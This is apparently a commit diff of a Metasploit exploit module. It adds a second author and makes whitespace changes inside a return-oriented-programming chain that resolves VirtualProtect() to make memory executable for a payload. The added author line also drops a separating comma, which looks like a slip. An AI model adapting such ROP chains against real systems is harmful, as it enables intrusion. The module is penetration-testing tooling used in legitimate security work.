@@ -27,7 +27,8 @@ def initialize(info = {})
27
27
'Author' =>
28
28
[
29
29
'metacom' , # Vulnerability discovery and PoC
30
- 'modpr0be <modpr0be[at]spentera.com>' , # Metasploit module
30
+ 'modpr0be <modpr0be[at]spentera.com>' # Metasploit module
31
+ 'otoy <otoy[at]spentera.com>' # Metasploit module
31
32
] ,
32
33
'References' =>
33
34
[
@@ -85,7 +86,7 @@ def exploit
85
86
junk ,
86
87
0x66d9d9ba , # NEG EAX # RETN
87
88
0x6ab2241d , # XCHG EAX,EDX # ADD ESP,2C # POP EBP # POP EDI # POP ESI # POP EBX # RETN
88
- junk ( 15 ) , # reserve more junk for add esp,2c
89
+ junk ( 15 ) , # reserve more junk for add esp,2c
89
90
0x1004a8ee , # POP ECX # RETN
90
91
0x6ab561b0 , # ptr to &VirtualProtect()
91
92
0x66d9feee , # MOV EAX,DWORD PTR DS:[ECX] # RETN
@@ -104,7 +105,7 @@ def exploit
104
105
0x100444e3 , # POP EDI # RETN
105
106
nops ( true ) , # ROP NOP
106
107
0x10048377 , # POP EAX # POP EBP # RETN
107
- nops , # Regular NOPs
108
+ nops , # Regular NOPs
108
109
0x6ab01c06 , # PUSH ESP# RETN
109
110
0x6ab28dda , # PUSHAD # RETN
110
111
] . flatten . pack ( "V*" )
0 commit comments